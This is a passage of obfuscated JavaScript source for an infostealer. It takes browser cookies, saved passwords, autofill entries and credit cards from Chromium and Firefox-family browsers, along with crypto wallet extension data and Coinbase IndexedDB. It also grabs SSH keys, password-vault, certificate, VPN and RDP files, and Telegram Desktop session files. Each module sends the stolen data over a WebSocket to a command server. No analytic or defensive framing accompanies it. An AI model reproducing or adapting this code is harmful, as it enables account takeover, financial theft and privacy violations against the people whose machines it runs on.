| _0x3e9f72.set("PolymeshWallet", "jojhfeoedkpkglbfimdfabpdfjaoolaf"); | |
| _0x3e9f72.set("NiftyWallet", "jbdaocneiiinmjbjlgalhcelgbejmnid"); | |
| _0x3e9f72.set("LiqualityWallet", "kpfopkelmapcoipemfendmdcghnegimn"); | |
| _0x3e9f72.set("MathWallet", "afbcbjpbpfadlkmhmclhkeeodmamcflc"); | |
| _0x3e9f72.set("CoinbaseWallet", "hnfanknocfeofbddgcijnmhnfnkdnaad"); | |
| _0x3e9f72.set("CloverWallet", "nhnkbkgjikgcigadomkphalanndcapjk"); | |
| _0x3e9f72.set("Yoroi", "ffnbelfdoeiohenkjibnmadjiehjhajb"); | |
| _0x3e9f72.set("Guarda", "hpglfhgfnhbgpjdenjgmdgoeiappafln"); | |
| _0x3e9f72.set("EQUALWallet", "blnieiiffboillknjnepogjhkgnoapac"); | |
| _0x3e9f72.set("BitAppWallet", "fihkakfobkmkjojpchpfgcmhfjnmnfpi"); | |
| _0x3e9f72.set("AuroWallet", "cnmamaachppnkjgnildpdmkaakejnhae"); | |
| _0x3e9f72.set("SaturnWallet", "nkddgncdjgjfcddamfgcmfnlhccnimig"); | |
| _0x3e9f72.set("RoninWallet", "fnjhmkhhmkbjkkabndcnnogagogbneec"); | |
| _0x3e9f72.set("Exodus", "aholpfdialjgjfhomihkjbmgjidlcdno"); | |
| _0x3e9f72.set("MaiarDeFiWallet", "dngmlblcodfobpdpecaadgfbcggfjfnm"); | |
| _0x3e9f72.set("Nami", "lpfcbjknijpeeillifnkikgncikgfhdo"); | |
| _0x3e9f72.set("Eternl", "kmhcihpebfmpgmihbkipmjlmmioameka"); | |
| _0x3e9f72.set("PhantomWallet", "bfnaelmomeimhlpmgjnjophhpkkoljpa"); | |
| _0x3e9f72.set("TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph"); | |
| return _0x3e9f72; | |
| } | |
| async function extractExtensions(_0x4b3669, _0xaa9f9d, _0xa12110, _0x20224a) { | |
| const _0x1c9365 = import_node_path3["default"].join(_0x20224a, "Local Extension Settings"); | |
| try { | |
| await import_node_fs3.promises.access(_0x1c9365); | |
| } catch { | |
| return; | |
| } | |
| const _0x1f7176 = getExtensionMap(); | |
| for (const [_0x5565e5, _0x4e269c] of _0x1f7176.entries()) { | |
| const _0x15df76 = import_node_path3["default"].join(_0x1c9365, _0x4e269c); | |
| try { | |
| const _0x541f90 = await import_node_fs3.promises.readdir(_0x15df76); | |
| for (const _0x47dc4e of _0x541f90) { | |
| try { | |
| const _0x36d984 = import_node_path3["default"].join(_0x15df76, _0x47dc4e), | |
| _0x2bb442 = await import_node_fs3.promises.stat(_0x36d984); | |
| if (_0x2bb442.isFile()) { | |
| const _0x3e40df = await import_node_fs3.promises.readFile(_0x36d984); | |
| await sendExtensionFile(_0x4b3669, _0xaa9f9d, _0xa12110, _0x5565e5, _0x47dc4e, import_node_buffer5.Buffer.from(_0x3e40df)); | |
| console.log("[Chrome] Sent extension file: " + _0xaa9f9d + '/' + _0xa12110 + '/' + _0x5565e5 + '/' + _0x47dc4e + '\x20(' + _0x3e40df.length + " bytes)"); | |
| } | |
| } catch {} | |
| } | |
| } catch {} | |
| } | |
| } | |
| async function sendIndexedDBFile(_0x77aa2e, _0x3e01b7, _0x526288, _0x1f102f, _0x2db415, _0x48fe77) { | |
| const _0x3d430c = _0x3e01b7 + '/' + _0x526288 + '/' + _0x1f102f + '/' + _0x2db415, | |
| _0x577671 = { | |
| huidMd5: _0x77aa2e.huidMd5, | |
| token: _0x77aa2e.token, | |
| taskOutputs: [{ | |
| id: _0x77aa2e.taskId, | |
| type: "stealer-indexed-db", | |
| status: "completed", | |
| path: _0x3d430c, | |
| data: _0x48fe77, | |
| size: _0x48fe77.length | |
| }] | |
| }, | |
| _0x10890f = await serizalizeCommandFromAgent(_0x577671); | |
| try { | |
| _0x77aa2e.ws.send(_0x10890f); | |
| } catch (_0x2046ae) { | |
| console.error("[Chrome] Failed to send IndexedDB file: WebSocket error", _0x2046ae); | |
| } | |
| } | |
| async function collectFilesRecursive(_0xc43e03, _0x193f12) { | |
| const _0x3afa99 = []; | |
| try { | |
| const _0x3efd7c = await import_node_fs3.promises.readdir(_0xc43e03, { | |
| withFileTypes: true | |
| }); | |
| for (const _0x2ba0e2 of _0x3efd7c) { | |
| const _0x2fa64d = import_node_path3["default"].join(_0xc43e03, _0x2ba0e2.name), | |
| _0x511452 = import_node_path3["default"].relative(_0x193f12, _0x2fa64d); | |
| if (_0x2ba0e2.isFile()) { | |
| _0x3afa99.push({ | |
| relativePath: _0x511452, | |
| fullPath: _0x2fa64d | |
| }); | |
| } else if (_0x2ba0e2.isDirectory()) { | |
| const _0x17f0af = await collectFilesRecursive(_0x2fa64d, _0x193f12); | |
| _0x3afa99.push(..._0x17f0af); | |
| } | |
| } | |
| } catch {} | |
| return _0x3afa99; | |
| } | |
| async function extractIndexedDB(_0x440ae3, _0x6c8099, _0x586dd6, _0x2f553c) { | |
| const _0x410538 = import_node_path3["default"].join(_0x2f553c, "IndexedDB"); | |
| try { | |
| await import_node_fs3.promises.access(_0x410538); | |
| } catch { | |
| return; | |
| } | |
| try { | |
| const _0x1a28b9 = await import_node_fs3.promises.readdir(_0x410538, { | |
| withFileTypes: true | |
| }); | |
| for (const _0x230825 of _0x1a28b9) { | |
| if (!_0x230825.isDirectory()) { | |
| continue; | |
| } | |
| if (!_0x230825.name.toLowerCase().includes("coinbase.com")) { | |
| continue; | |
| } | |
| const _0x34ad79 = _0x230825.name, | |
| _0x3722ab = import_node_path3["default"].join(_0x410538, _0x34ad79); | |
| console.log("[Chrome] Found IndexedDB for coinbase: " + _0x6c8099 + '/' + _0x586dd6 + '/' + _0x34ad79); | |
| const _0x5653fa = await collectFilesRecursive(_0x3722ab, _0x3722ab); | |
| for (const _0x1cb082 of _0x5653fa) { | |
| try { | |
| const _0x27f3ef = await import_node_fs3.promises.stat(_0x1cb082.fullPath); | |
| if (_0x27f3ef.size > 52428800) { | |
| console.log("[Chrome] Skipping large IndexedDB file: " + _0x1cb082.relativePath + '\x20(' + _0x27f3ef.size + " bytes)"); | |
| continue; | |
| } | |
| const _0x21c67f = await import_node_fs3.promises.readFile(_0x1cb082.fullPath); | |
| await sendIndexedDBFile(_0x440ae3, _0x6c8099, _0x586dd6, _0x34ad79, _0x1cb082.relativePath, import_node_buffer5.Buffer.from(_0x21c67f)); | |
| console.log("[Chrome] Sent IndexedDB file: indexed-db/" + _0x6c8099 + '/' + _0x586dd6 + '/' + _0x34ad79 + '/' + _0x1cb082.relativePath + '\x20(' + _0x21c67f.length + " bytes)"); | |
| } catch {} | |
| } | |
| } | |
| } catch (_0x53388) { | |
| console.error("[Chrome] Error extracting IndexedDB:", _0x53388); | |
| } | |
| } | |
| async function grabChrome(_0x3a7875) { | |
| console.log("[Chrome] Starting Chrome collection..."); | |
| if (!_0x3a7875) { | |
| console.log("[Chrome] No context provided, skipping"); | |
| return; | |
| } | |
| const _0xe93096 = ["https://jsr.io/@db/sqlite/0.13.0/mod.ts"].join(''), | |
| { | |
| Database: _0x175fe3 | |
| } = await import(_0xe93096); | |
| for (const _0x5f2c95 of CHROMIUM_BROWSERS) { | |
| const _0x415c06 = expandPath2(_0x5f2c95.path), | |
| _0x3304c3 = import_node_path3["default"].join(_0x415c06, "Local State"); | |
| try { | |
| await import_node_fs3.promises.access(_0x3304c3); | |
| } catch { | |
| continue; | |
| } | |
| console.log("[Chrome] Processing " + _0x5f2c95.name + "..."); | |
| const _0x2521ef = await parseMasterKey(_0x3304c3); | |
| if (!_0x2521ef) { | |
| console.log("[Chrome] Failed to get master key for " + _0x5f2c95.name); | |
| continue; | |
| } | |
| const _0x7c3731 = await findProfiles(_0x415c06); | |
| console.log("[Chrome] Found " + _0x7c3731.length + " profiles for " + _0x5f2c95.name); | |
| for (const _0x3aee6d of _0x7c3731) { | |
| const _0x516216 = import_node_path3["default"].join(_0x415c06, _0x3aee6d), | |
| _0x55436d = import_node_path3["default"].join(_0x516216, "Network", "Cookies"), | |
| _0x4dc221 = import_node_path3["default"].join(_0x516216, "Cookies"); | |
| let _0x3f629b = []; | |
| try { | |
| await import_node_fs3.promises.access(_0x55436d); | |
| _0x3f629b = await extractCookies(_0x175fe3, _0x55436d, _0x2521ef); | |
| } catch { | |
| try { | |
| await import_node_fs3.promises.access(_0x4dc221); | |
| _0x3f629b = await extractCookies(_0x175fe3, _0x4dc221, _0x2521ef); | |
| } catch {} | |
| } | |
| if (_0x3f629b.length > 0x0) { | |
| await sendChromeData(_0x3a7875, _0x5f2c95.name, _0x3aee6d, "cookies", _0x3f629b); | |
| console.log("[Chrome] Sent " + _0x3f629b.length + " cookies from " + _0x5f2c95.name + '/' + _0x3aee6d); | |
| } | |
| const _0x236935 = import_node_path3["default"].join(_0x516216, "Login Data"); | |
| let _0x19c219 = []; | |
| try { | |
| await import_node_fs3.promises.access(_0x236935); | |
| console.log("[Chrome] Processing passwords for " + _0x5f2c95.name + '/' + _0x3aee6d); | |
| console.log("[Chrome] Login Data path: " + _0x236935); | |
| console.log("[Chrome] Master key length: " + _0x2521ef.length + " bytes"); | |
| _0x19c219 = await extractPasswords(_0x175fe3, _0x236935, _0x2521ef); | |
| if (_0x19c219.length > 0x0) { | |
| await sendChromeData(_0x3a7875, _0x5f2c95.name, _0x3aee6d, "passwords", _0x19c219); | |
| console.log("[Chrome] Sent " + _0x19c219.length + " passwords from " + _0x5f2c95.name + '/' + _0x3aee6d); | |
| } else { | |
| console.log("[Chrome] No passwords extracted from " + _0x5f2c95.name + '/' + _0x3aee6d); | |
| } | |
| } catch (_0x5d9a37) { | |
| console.error("[Chrome] Failed to process passwords for " + _0x5f2c95.name + '/' + _0x3aee6d + ':', _0x5d9a37); | |
| } | |
| const _0x52a63f = import_node_path3["default"].join(_0x516216, "Web Data"); | |
| try { | |
| await import_node_fs3.promises.access(_0x52a63f); | |
| const _0x5789e8 = extractAutofills(_0x175fe3, _0x52a63f); | |
| if (_0x5789e8.length > 0x0) { | |
| await sendChromeData(_0x3a7875, _0x5f2c95.name, _0x3aee6d, "autofills", _0x5789e8); | |
| console.log("[Chrome] Sent " + _0x5789e8.length + " autofills from " + _0x5f2c95.name + '/' + _0x3aee6d); | |
| } | |
| const _0x24b869 = await extractCreditCards(_0x175fe3, _0x52a63f, _0x2521ef); | |
| if (_0x24b869.length > 0x0) { | |
| await sendChromeData(_0x3a7875, _0x5f2c95.name, _0x3aee6d, "creditcards", _0x24b869); | |
| console.log("[Chrome] Sent " + _0x24b869.length + " credit cards from " + _0x5f2c95.name + '/' + _0x3aee6d); | |
| } | |
| } catch {} | |
| await extractExtensions(_0x3a7875, _0x5f2c95.name, _0x3aee6d, _0x516216); | |
| await extractIndexedDB(_0x3a7875, _0x5f2c95.name, _0x3aee6d, _0x516216); | |
| } | |
| } | |
| console.log("[Chrome] Collection completed"); | |
| } | |
| var import_node_fs4 = require('node:fs'), | |
| import_node_path4 = __toESM(require('node:path')), | |
| import_node_process5 = __toESM(require('node:process')), | |
| GECKO_BROWSERS = [{ | |
| name: "firefox", | |
| paths: ["%APPDATA%\\Mozilla\\Firefox\\Profiles"] | |
| }, { | |
| name: "librewolf", | |
| paths: ["%APPDATA%\\LibreWolf\\Profiles"] | |
| }, { | |
| name: "waterfox", | |
| paths: ["%APPDATA%\\Waterfox\\Profiles"] | |
| }, { | |
| name: "palemoon", | |
| paths: ["%APPDATA%\\Moonchild Productions\\Pale Moon\\Profiles"] | |
| }, { | |
| name: "seamonkey", | |
| paths: ["%APPDATA%\\Mozilla\\SeaMonkey\\Profiles"] | |
| }]; | |
| function expandPath3(_0x52d8d4) { | |
| const _0x21f43b = import_node_process5["default"].env.APPDATA || '', | |
| _0x55b2bb = import_node_process5["default"].env.LOCALAPPDATA || ''; | |
| return _0x52d8d4.replace(/%APPDATA%/g, _0x21f43b).replace(/%LOCALAPPDATA%/g, _0x55b2bb); | |
| } | |
| async function findProfiles2(_0x596e6d, _0x395670) { | |
| const _0x564c2e = []; | |
| try { | |
| const _0x3aedbd = await import_node_fs4.promises.readdir(_0x395670, { | |
| withFileTypes: true | |
| }); | |
| for (const _0x9d73d3 of _0x3aedbd) { | |
| if (_0x9d73d3.isDirectory()) { | |
| const _0x385018 = import_node_path4["default"].join(_0x395670, _0x9d73d3.name); | |
| try { | |
| const _0x2827ff = await import_node_fs4.promises.readdir(_0x385018); | |
| if (_0x2827ff.includes("cookies.sqlite") || _0x2827ff.includes("places.sqlite")) { | |
| _0x564c2e.push(_0x385018); | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } | |
| } catch {} | |
| return _0x564c2e; | |
| } | |
| function extractCookies2(_0x48e40c) { | |
| const _0xd3c9e0 = []; | |
| try { | |
| const _0x434c18 = _0x48e40c.prepare("\n SELECT \n host,\n name,\n path,\n value,\n expiry,\n isSecure\n FROM moz_cookies\n ").all(); | |
| let _0x6229d9 = 0x0; | |
| for (const _0x1372c2 of _0x434c18) { | |
| const _0x444f7c = _0x1372c2; | |
| if (!_0x444f7c.host || !_0x444f7c.name || !_0x444f7c.path || !_0x444f7c.value) { | |
| _0x6229d9++; | |
| continue; | |
| } | |
| _0xd3c9e0.push({ | |
| host: _0x444f7c.host, | |
| name: _0x444f7c.name, | |
| value: _0x444f7c.value, | |
| path: _0x444f7c.path, | |
| expires: _0x444f7c.expiry || 0x0, | |
| secure: Boolean(_0x444f7c.isSecure) | |
| }); | |
| } | |
| if (_0x6229d9 > 0x0) { | |
| console.log("[Gecko] Skipped " + _0x6229d9 + " cookies with null fields"); | |
| } | |
| } catch (_0x49417c) { | |
| console.error("[Gecko] Error extracting cookies:", _0x49417c); | |
| } | |
| return _0xd3c9e0; | |
| } | |
| function extractAutofills2(_0x1f0de0) { | |
| const _0x2fdf63 = []; | |
| try { | |
| const _0x4f6555 = _0x1f0de0.prepare("\n SELECT \n fieldname,\n value\n FROM moz_formhistory\n ").all(); | |
| for (const _0xbd5610 of _0x4f6555) { | |
| const _0x26db5a = _0xbd5610; | |
| if (!_0x26db5a.fieldname || !_0x26db5a.value) { | |
| continue; | |
| } | |
| _0x2fdf63.push({ | |
| fieldname: _0x26db5a.fieldname, | |
| value: _0x26db5a.value | |
| }); | |
| } | |
| } catch (_0x539b95) { | |
| console.error("[Gecko] Error extracting autofills:", _0x539b95); | |
| } | |
| return _0x2fdf63; | |
| } | |
| async function extractProfileData(_0xaf393d, _0xb8bfd5, _0x498954, _0x923a1c) { | |
| const _0x31538b = import_node_path4["default"].basename(_0x498954), | |
| _0x3b9ca9 = [], | |
| _0x1a6287 = [], | |
| _0xa17011 = import_node_path4["default"].join(_0x498954, "cookies.sqlite"); | |
| try { | |
| console.log("[Gecko] Opening cookies database: " + _0xa17011); | |
| const _0xb14b5 = new _0xaf393d(_0xa17011, { | |
| readonly: true | |
| }); | |
| console.log("[Gecko] Database opened successfully"); | |
| const _0x146385 = extractCookies2(_0xb14b5); | |
| _0x3b9ca9.push(..._0x146385); | |
| _0xb14b5.close(); | |
| console.log("[Gecko] Extracted " + _0x146385.length + " cookies from " + _0xb8bfd5 + '/' + _0x31538b); | |
| } catch (_0x2b8fde) { | |
| console.error("[Gecko] Failed to extract cookies from " + _0xa17011 + ':', _0x2b8fde); | |
| } | |
| const _0x4b8eab = import_node_path4["default"].join(_0x498954, "places.sqlite"); | |
| try { | |
| const _0x1d791d = new _0xaf393d(_0x4b8eab, { | |
| readonly: true | |
| }), | |
| _0x91c82e = extractAutofills2(_0x1d791d); | |
| _0x1a6287.push(..._0x91c82e); | |
| _0x1d791d.close(); | |
| console.log("[Gecko] Extracted " + _0x91c82e.length + " autofills from " + _0xb8bfd5 + '/' + _0x31538b); | |
| } catch (_0x4e6302) { | |
| console.error("[Gecko] Failed to extract autofills from " + _0x4b8eab + ':', _0x4e6302); | |
| } | |
| if (_0x923a1c && (_0x3b9ca9.length > 0x0 || _0x1a6287.length > 0x0)) { | |
| const _0x53a75b = { | |
| huidMd5: _0x923a1c.huidMd5, | |
| token: _0x923a1c.token, | |
| taskOutputs: [{ | |
| id: _0x923a1c.taskId, | |
| type: "stealer-gecko", | |
| status: "completed", | |
| browser: _0xb8bfd5, | |
| profile: _0x31538b, | |
| cookies: _0x3b9ca9, | |
| autofills: _0x1a6287 | |
| }] | |
| }, | |
| _0x592082 = await serizalizeCommandFromAgent(_0x53a75b); | |
| try { | |
| _0x923a1c.ws.send(_0x592082); | |
| } catch (_0x2858c3) { | |
| console.error("[Gecko] Failed to send data: WebSocket error", _0x2858c3); | |
| } | |
| return { | |
| browser: _0xb8bfd5, | |
| profile: _0x31538b, | |
| cookies: _0x3b9ca9, | |
| autofills: _0x1a6287 | |
| }; | |
| } | |
| return null; | |
| } | |
| async function grabGecko(_0x522332) { | |
| console.log("[Gecko] Starting Gecko browsers collection..."); | |
| try { | |
| const _0x4979bc = ["https://jsr.io/@db/sqlite/0.13.0/mod.ts"].join(''), | |
| { | |
| Database: _0x336e1c | |
| } = await import(_0x4979bc); | |
| let _0x4c8ef1 = 0x0; | |
| for (const _0x53e0ed of GECKO_BROWSERS) { | |
| for (const _0x629def of _0x53e0ed.paths) { | |
| const _0x146518 = expandPath3(_0x629def), | |
| _0x407405 = await findProfiles2(_0x53e0ed.name, _0x146518); | |
| console.log("[Gecko] Found " + _0x407405.length + " profiles for " + _0x53e0ed.name); | |
| for (const _0x209913 of _0x407405) { | |
| try { | |
| const _0x345bd9 = await extractProfileData(_0x336e1c, _0x53e0ed.name, _0x209913, _0x522332); | |
| if (_0x345bd9) { | |
| _0x4c8ef1++; | |
| } | |
| } catch (_0x1eba13) { | |
| console.error("[Gecko] Error processing profile " + _0x209913 + ':', _0x1eba13); | |
| } | |
| } | |
| } | |
| } | |
| console.log("[Gecko] Collection completed. Processed " + _0x4c8ef1 + " profiles"); | |
| } catch (_0xdc17a9) { | |
| console.error("[Gecko] Fatal error:", _0xdc17a9); | |
| throw _0xdc17a9; | |
| } | |
| } | |
| var import_node_buffer6 = require('node:buffer'), | |
| import_node_fs5 = require('node:fs'), | |
| import_node_path5 = __toESM(require('node:path')), | |
| import_node_process6 = __toESM(require('node:process')), | |
| MAX_TOTAL_SIZE_MB = 0x32, | |
| MAX_DEPTH = 0x3, | |
| PRIORITY_PATTERNS = ["*.kdbx", "*.key", "*.pem", "*.ppk", "*.p12", "*.pfx", "*.asc", "*.gpg", "id_rsa", "id_dsa", "id_ecdsa", "id_ed25519", "*.ovpn", "*.txt", "*.rdp"], | |
| REGULAR_PATTERNS = []; | |
| function matchesPattern(_0xc43ad3, _0x222716) { | |
| const _0x492b3e = _0xc43ad3.toLowerCase(); | |
| for (const _0x22e52f of _0x222716) { | |
| const _0x5e3908 = _0x22e52f.toLowerCase(); | |
| if (_0x5e3908 === '*') { | |
| return true; | |
| } | |
| if (_0x5e3908.startsWith('*.')) { | |
| const _0x5804b8 = _0x5e3908.slice(0x1); | |
| if (_0x492b3e.endsWith(_0x5804b8)) { | |
| return true; | |
| } | |
| } else if (_0x492b3e === _0x5e3908) { | |
| return true; | |
| } | |
| } | |
| return false; | |
| } | |
| async function walkDir(_0x529166, _0x3f306d, _0x228b41 = 0x0) { | |
| const _0x1b6056 = []; | |
| if (_0x228b41 > _0x3f306d) { | |
| return _0x1b6056; | |
| } | |
| try { | |
| const _0x1fd6d1 = await import_node_fs5.promises.readdir(_0x529166, { | |
| withFileTypes: true | |
| }); | |
| for (const _0x323196 of _0x1fd6d1) { | |
| const _0x732059 = import_node_path5["default"].join(_0x529166, _0x323196.name); | |
| try { | |
| if (_0x323196.isDirectory()) { | |
| const _0x14a3d8 = await walkDir(_0x732059, _0x3f306d, _0x228b41 + 0x1); | |
| _0x1b6056.push(..._0x14a3d8); | |
| } else if (_0x323196.isFile()) { | |
| _0x1b6056.push(_0x732059); | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } catch {} | |
| return _0x1b6056; | |
| } | |
| async function grabFiles(_0x3f7e02) { | |
| const _0x2e3a9c = [], | |
| _0x36b2ca = { | |
| value: 0x0 | |
| }, | |
| _0x211af8 = MAX_TOTAL_SIZE_MB * 0x400 * 0x400, | |
| _0x13c331 = import_node_process6["default"].env.USERNAME || import_node_process6["default"].env.USER || "unknown", | |
| _0xda8061 = import_node_process6["default"].env.USERPROFILE || import_node_process6["default"].env.HOME || ''; | |
| if (!_0xda8061) { | |
| console.log("[Grabber] Could not determine user profile directory"); | |
| return _0x2e3a9c; | |
| } | |
| const _0x502e4c = async (_0x1b965b, _0x431598, _0x43fded) => { | |
| const _0x5dece6 = await walkDir(_0x1b965b, _0x43fded); | |
| for (const _0x3ec9e8 of _0x5dece6) { | |
| if (_0x36b2ca.value >= _0x211af8) { | |
| console.log("[Grabber] Size limit reached"); | |
| break; | |
| } | |
| const _0xbd0437 = import_node_path5["default"].basename(_0x3ec9e8); | |
| if (!matchesPattern(_0xbd0437, _0x431598)) { | |
| continue; | |
| } | |
| try { | |
| const _0xa84608 = await import_node_fs5.promises.stat(_0x3ec9e8), | |
| _0x2e5f3e = _0xa84608.size; | |
| if (_0x2e5f3e > 10485760) { | |
| continue; | |
| } | |
| if (_0x36b2ca.value + _0x2e5f3e > _0x211af8) { | |
| console.log("[Grabber] Skipping file (would exceed size limit)"); | |
| continue; | |
| } | |
| const _0x32d804 = await import_node_fs5.promises.readFile(_0x3ec9e8), | |
| _0x20d433 = _0x3ec9e8; | |
| let _0x255e4a; | |
| const _0x4115e1 = _0x20d433.indexOf(_0x13c331); | |
| if (_0x4115e1 !== -0x1) { | |
| const _0x565358 = _0x20d433.slice(_0x4115e1 + _0x13c331.length); | |
| _0x255e4a = _0x565358.replace(/^[\\\/]+/, ''); | |
| } else { | |
| _0x255e4a = _0xbd0437; | |
| } | |
| _0x36b2ca.value += _0x2e5f3e; | |
| _0x2e3a9c.push({ | |
| relPath: _0x255e4a, | |
| data: new Uint8Array(_0x32d804) | |
| }); | |
| console.log("[Grabber] Grabbed: " + _0x255e4a + '\x20(' + _0x2e5f3e + " bytes)"); | |
| if (_0x3f7e02) { | |
| const _0x2224a1 = { | |
| huidMd5: _0x3f7e02.huidMd5, | |
| token: _0x3f7e02.token, | |
| taskOutputs: [{ | |
| id: _0x3f7e02.taskId, | |
| type: "stealer-file-grabber", | |
| status: "completed", | |
| path: _0x255e4a, | |
| data: import_node_buffer6.Buffer.from(_0x32d804), | |
| size: _0x2e5f3e | |
| }] | |
| }, | |
| _0x5f552a = await serizalizeCommandFromAgent(_0x2224a1); | |
| try { | |
| _0x3f7e02.ws.send(_0x5f552a); | |
| } catch (_0x3166b0) { | |
| console.error("[Grab] Failed to send data: WebSocket error", _0x3166b0); | |
| } | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| }, | |
| _0x39e880 = import_node_path5["default"].join(_0xda8061, ".ssh"); | |
| try { | |
| await import_node_fs5.promises.access(_0x39e880); | |
| console.log("[Grabber] Searching SSH keys in " + _0x39e880); | |
| await _0x502e4c(_0x39e880, ['*'], 0x1); | |
| } catch {} | |
| const _0x4186da = []; | |
| for (const _0x4b69d3 of [import_node_path5["default"].join(_0xda8061, "Documents"), import_node_path5["default"].join(_0xda8061, "Desktop"), import_node_path5["default"].join(_0xda8061, "Downloads")]) { | |
| try { | |
| await import_node_fs5.promises.access(_0x4b69d3); | |
| _0x4186da.push(_0x4b69d3); | |
| } catch {} | |
| } | |
| for (const _0x46c735 of _0x4186da) { | |
| console.log("[Grabber] Searching priority files in " + _0x46c735); | |
| await _0x502e4c(_0x46c735, PRIORITY_PATTERNS, MAX_DEPTH); | |
| } | |
| for (const _0x2ee86f of _0x4186da) { | |
| console.log("[Grabber] Searching regular files in " + _0x2ee86f); | |
| await _0x502e4c(_0x2ee86f, REGULAR_PATTERNS, MAX_DEPTH); | |
| } | |
| console.log("[Grabber] Total files grabbed: " + _0x2e3a9c.length + ", size: " + _0x36b2ca.value + " bytes"); | |
| return _0x2e3a9c; | |
| } | |
| var import_node_buffer7 = require('node:buffer'), | |
| import_node_fs6 = require('node:fs'), | |
| import_node_path6 = __toESM(require('node:path')), | |
| import_node_process7 = __toESM(require('node:process')), | |
| MAX_FILE_SIZE = 6291456; | |
| async function walkDir2(_0x429eb5, _0x347dde, _0x12dd59 = 0x0) { | |
| const _0x1ff36f = []; | |
| if (_0x12dd59 > _0x347dde) { | |
| return _0x1ff36f; | |
| } | |
| try { | |
| const _0x1bcb45 = await import_node_fs6.promises.readdir(_0x429eb5, { | |
| withFileTypes: true | |
| }); | |
| for (const _0x18dc02 of _0x1bcb45) { | |
| const _0x347783 = import_node_path6["default"].join(_0x429eb5, _0x18dc02.name); | |
| try { | |
| if (_0x18dc02.isDirectory()) { | |
| const _0x442402 = await walkDir2(_0x347783, _0x347dde, _0x12dd59 + 0x1); | |
| _0x1ff36f.push(..._0x442402); | |
| } else if (_0x18dc02.isFile()) { | |
| _0x1ff36f.push(_0x347783); | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } catch {} | |
| return _0x1ff36f; | |
| } | |
| async function grabTelegram(_0x12802f) { | |
| console.log("[Telegram] Starting telegram grabber..."); | |
| const _0x9ade0b = [], | |
| _0x3303e8 = import_node_process7["default"].env.APPDATA; | |
| if (!_0x3303e8) { | |
| console.log("[Telegram] APPDATA not found"); | |
| return _0x9ade0b; | |
| } | |
| const _0x5e849e = import_node_path6["default"].join(_0x3303e8, "Telegram Desktop"), | |
| _0x1d6ec6 = import_node_path6["default"].join(_0x5e849e, "tdata"); | |
| try { | |
| await import_node_fs6.promises.access(_0x1d6ec6); | |
| } catch { | |
| console.log("[Telegram] Telegram Desktop not found"); | |
| return _0x9ade0b; | |
| } | |
| console.log("[Telegram] Found Telegram Desktop at " + _0x5e849e); | |
| const _0xc42aab = await walkDir2(_0x1d6ec6, 0x2); | |
| for (const _0x155d1e of _0xc42aab) { | |
| const _0x3df3b1 = import_node_path6["default"].basename(_0x155d1e); | |
| try { | |
| const _0x4961b7 = await import_node_fs6.promises.stat(_0x155d1e); | |
| if (_0x4961b7.size >= MAX_FILE_SIZE) { | |
| continue; | |
| } | |
| if (_0x3df3b1.length === 0x10) { | |
| const _0x4a39b2 = await import_node_fs6.promises.readFile(_0x155d1e), | |
| _0x502663 = import_node_path6["default"].relative(_0x1d6ec6, _0x155d1e).replace(/\\/g, '/'), | |
| _0x2547ee = "tdata/" + _0x502663; | |
| _0x9ade0b.push({ | |
| relPath: _0x2547ee, | |
| data: new Uint8Array(_0x4a39b2) | |
| }); | |
| console.log("[Telegram] Added tdata file: " + _0x3df3b1); | |
| if (_0x12802f) { | |
| const _0x546f46 = { | |
| huidMd5: _0x12802f.huidMd5, | |
| token: _0x12802f.token, | |
| taskOutputs: [{ | |
| id: _0x12802f.taskId, | |
| type: "stealer-telegram", | |
| status: "completed", | |
| path: _0x2547ee, | |
| data: import_node_buffer7.Buffer.from(_0x4a39b2), | |
| size: _0x4a39b2.length | |
| }] | |
| }, | |
| _0x10dcd0 = await serizalizeCommandFromAgent(_0x546f46); | |
| try { | |
| _0x12802f.ws.send(_0x10dcd0); | |
| } catch (_0x4d0877) { | |
| console.error("[Telegram] Failed to send data: WebSocket error", _0x4d0877); | |
| } | |
| } | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| const _0x276e62 = await walkDir2(_0x5e849e, 0x3); | |
| for (const _0x5dd256 of _0x276e62) { | |
| const _0x56e779 = import_node_path6["default"].basename(_0x5dd256); | |
| try { | |
| const _0xa05d6 = await import_node_fs6.promises.stat(_0x5dd256); | |
| if (_0xa05d6.size >= MAX_FILE_SIZE) { | |
| continue; | |
| } | |
| if (_0x56e779.endsWith('s') && _0x56e779.length === 0x11) { | |
| const _0x3cd6f9 = await import_node_fs6.promises.readFile(_0x5dd256), | |
| _0x2927e4 = "tdata/" + _0x56e779; | |
| _0x9ade0b.push({ | |
| relPath: _0x2927e4, | |
| data: new Uint8Array(_0x3cd6f9) | |
| }); | |
| console.log("[Telegram] Added tdata/*s file: " + _0x56e779); | |
| if (_0x12802f) { | |
| const _0x393d96 = { | |
| huidMd5: _0x12802f.huidMd5, | |
| token: _0x12802f.token, | |
| taskOutputs: [{ | |
| id: _0x12802f.taskId, | |
| type: "stealer-telegram", | |
| status: "completed", | |
| path: _0x2927e4, | |
| data: import_node_buffer7.Buffer.from(_0x3cd6f9), | |
| size: _0x3cd6f9.length | |
| }] | |
| }, | |
| _0x1e63a1 = await serizalizeCommandFromAgent(_0x393d96); | |
| try { | |
| _0x12802f.ws.send(_0x1e63a1); | |
| } catch (_0x4841b9) { | |
| console.error("[Telegram] Failed to send data: WebSocket error", _0x4841b9); | |
| } | |
| } | |
| } | |
| if (_0x56e779.startsWith("usertag") || _0x56e779.startsWith("settings") || _0x56e779.startsWith("key_data")) { | |
| const _0x4f62c3 = await import_node_fs6.promises.readFile(_0x5dd256), | |
| _0x3d771a = import_node_path6["default"].relative(_0x5e849e, _0x5dd256).replace(/\\/g, '/'); | |
| _0x9ade0b.push({ | |
| relPath: _0x3d771a, | |
| data: new Uint8Array(_0x4f62c3) | |
| }); | |
| console.log("[Telegram] Added file: " + _0x56e779); | |
| if (_0x12802f) { | |
| const _0x21e5f2 = { | |
| huidMd5: _0x12802f.huidMd5, | |
| token: _0x12802f.token, | |
| taskOutputs: [{ | |
| id: _0x12802f.taskId, | |
| type: "stealer-telegram", | |
| status: "completed", | |
| path: _0x3d771a, | |
| data: import_node_buffer7.Buffer.from(_0x4f62c3), | |
| size: _0x4f62c3.length | |
| }] | |
| }, | |
| _0xb8df7e = await serizalizeCommandFromAgent(_0x21e5f2); | |
| try { | |
